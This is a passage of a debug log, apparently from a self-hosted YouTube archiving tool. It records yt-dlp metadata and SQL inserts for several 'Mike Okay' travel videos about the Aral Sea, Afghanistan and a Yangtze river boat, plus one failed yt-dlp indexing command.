\nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "duration" => 1552, "filename" => "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", "id" => "XaO_IcYqzRs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=XaO_IcYqzRs", "playlist_index" => 17, "timestamp" => 1764952604, "title" => "Drunk Camping in an Abandoned Soviet Ghost Ship", "upload_date" => "20251205"} 17:27:19.620 [debug] QUERY OK source="sources" db=0.2ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:27:19.620 [debug] QUERY OK source="sources" db=0.1ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:19.621 [debug] QUERY OK source="media_items" db=0.3ms idle=1003.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-05 16:36:44Z], 3] 17:27:19.622 [debug] QUERY OK source="media_items" db=0.7ms idle=1003.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Drunk Camping in an Abandoned Soviet Ghost Ship", "517424c7-50b5-4426-8b16-cf6a683d144c", "XaO_IcYqzRs", 1552, false, "https://www.youtube.com/watch?v=XaO_IcYqzRs", 17, "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", false, false, false, 3, [], 98, ~U[2025-12-05 16:36:44Z], ~U[2026-08-20 00:27:19Z], ~U[2026-08-20 00:27:19Z], "Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Drunk Camping in an Abandoned Soviet Ghost Ship", "XaO_IcYqzRs", 1552, false, "https://www.youtube.com/watch?v=XaO_IcYqzRs", "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", false, 3, ~U[2025-12-05 16:36:44Z]] 17:27:19.622 [debug] QUERY OK source="sources" db=0.1ms idle=91.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:19.623 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:19.623 [debug] QUERY OK source="media_items" db=0.1ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18992] 17:27:19.623 [debug] Current batch of media processed. Will check again in 1000ms 17:27:20.624 [debug] Current batch of media processed. Will check again in 1000ms 17:27:21.625 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "duration" => 2619, "filename" => "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", "id" => "TePUvifOHbk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=TePUvifOHbk", "playlist_index" => 18, "timestamp" => 1763741498, "title" => "Crossing Afghanistan's Deadly Coal Mine Route", "upload_date" => "20251121"} 17:27:21.626 [debug] QUERY OK source="sources" db=0.2ms idle=342.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:27:21.626 [debug] QUERY OK source="sources" db=0.2ms idle=343.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:21.627 [debug] QUERY OK source="media_items" db=0.2ms idle=343.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-21 16:11:38Z], 3] 17:27:21.628 [debug] QUERY OK source="media_items" db=1.0ms idle=344.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Crossing Afghanistan's Deadly Coal Mine Route", "bc88952d-efaa-42e9-b3ce-f92eba8ea777", "TePUvifOHbk", 2619, false, "https://www.youtube.com/watch?v=TePUvifOHbk", 18, "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", false, false, false, 3, [], 98, ~U[2025-11-21 16:11:38Z], ~U[2026-08-20 00:27:21Z], ~U[2026-08-20 00:27:21Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Crossing Afghanistan's Deadly Coal Mine Route", "TePUvifOHbk", 2619, false, "https://www.youtube.com/watch?v=TePUvifOHbk", "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", false, 3, ~U[2025-11-21 16:11:38Z]] 17:27:21.629 [debug] QUERY OK source="sources" db=0.2ms idle=95.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:21.629 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:21.630 [debug] QUERY OK source="media_items" db=0.2ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18993] 17:27:21.630 [debug] Current batch of media processed. Will check again in 1000ms 17:27:22.631 [debug] Current batch of media processed. Will check again in 1000ms 17:27:23.632 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "duration" => 2078, "filename" => "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", "id" => "_uOW3KGPqtA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=_uOW3KGPqtA", "playlist_index" => 19, "timestamp" => 1762533339, "title" => "Afghanistan Broke Me..", "upload_date" => "20251107"} 17:27:23.633 [debug] QUERY OK source="sources" db=0.2ms idle=349.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:27:23.633 [debug] QUERY OK source="sources" db=0.2ms idle=350.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:23.634 [debug] QUERY OK source="media_items" db=0.3ms idle=350.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-07 16:35:39Z], 3] 17:27:23.635 [debug] QUERY OK source="media_items" db=0.7ms idle=351.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Afghanistan Broke Me..", "9ed96a87-8376-4170-9d9e-daf61f12114e", "_uOW3KGPqtA", 2078, false, "https://www.youtube.com/watch?v=_uOW3KGPqtA", 19, "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", false, false, false, 3, [], 98, ~U[2025-11-07 16:35:39Z], ~U[2026-08-20 00:27:23Z], ~U[2026-08-20 00:27:23Z], "Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Afghanistan Broke Me..", "_uOW3KGPqtA", 2078, false, "https://www.youtube.com/watch?v=_uOW3KGPqtA", "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", false, 3, ~U[2025-11-07 16:35:39Z]] 17:27:23.635 [debug] QUERY OK source="sources" db=0.2ms idle=99.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:23.636 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:23.636 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18994] 17:27:23.636 [debug] Current batch of media processed. Will check again in 1000ms 17:27:24.637 [debug] Current batch of media processed. Will check again in 1000ms 17:27:24.945 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@mikeokay --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Mike Okay/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/25/57/25578ef7cc0b9c71bebdeb1021ac6f1639660574e2474ce30142837561d0999b.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a2/23/a223d6170b95464a782d044afa0aa830cffb12b01c20d617310454910c6d2743.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 17:27:24.946 [debug] Gracefully stopping file follower 17:27:24.946 [debug] QUERY OK source="sources" db=0.2ms idle=1311.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:27:24.947 [debug] QUERY OK source="sources" db=0.1ms idle=1311.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:24.947 [debug] QUERY OK source="media_items" db=0.2ms idle=1311.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-31 14:42:45Z], 3] 17:27:24.948 [debug] QUERY OK source="media_items" db=0.9ms idle=1311.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "China's Working Class Is Live-Streaming To Survive", "9357b167-da6a-4a31-b05b-d3a3a1280052", "qYWhjW08-pc", 2174, false, "https://www.youtube.com/watch?v=qYWhjW08-pc", 1, "/downloads/shows/Mike Okay/Season 2026/s2026e073100 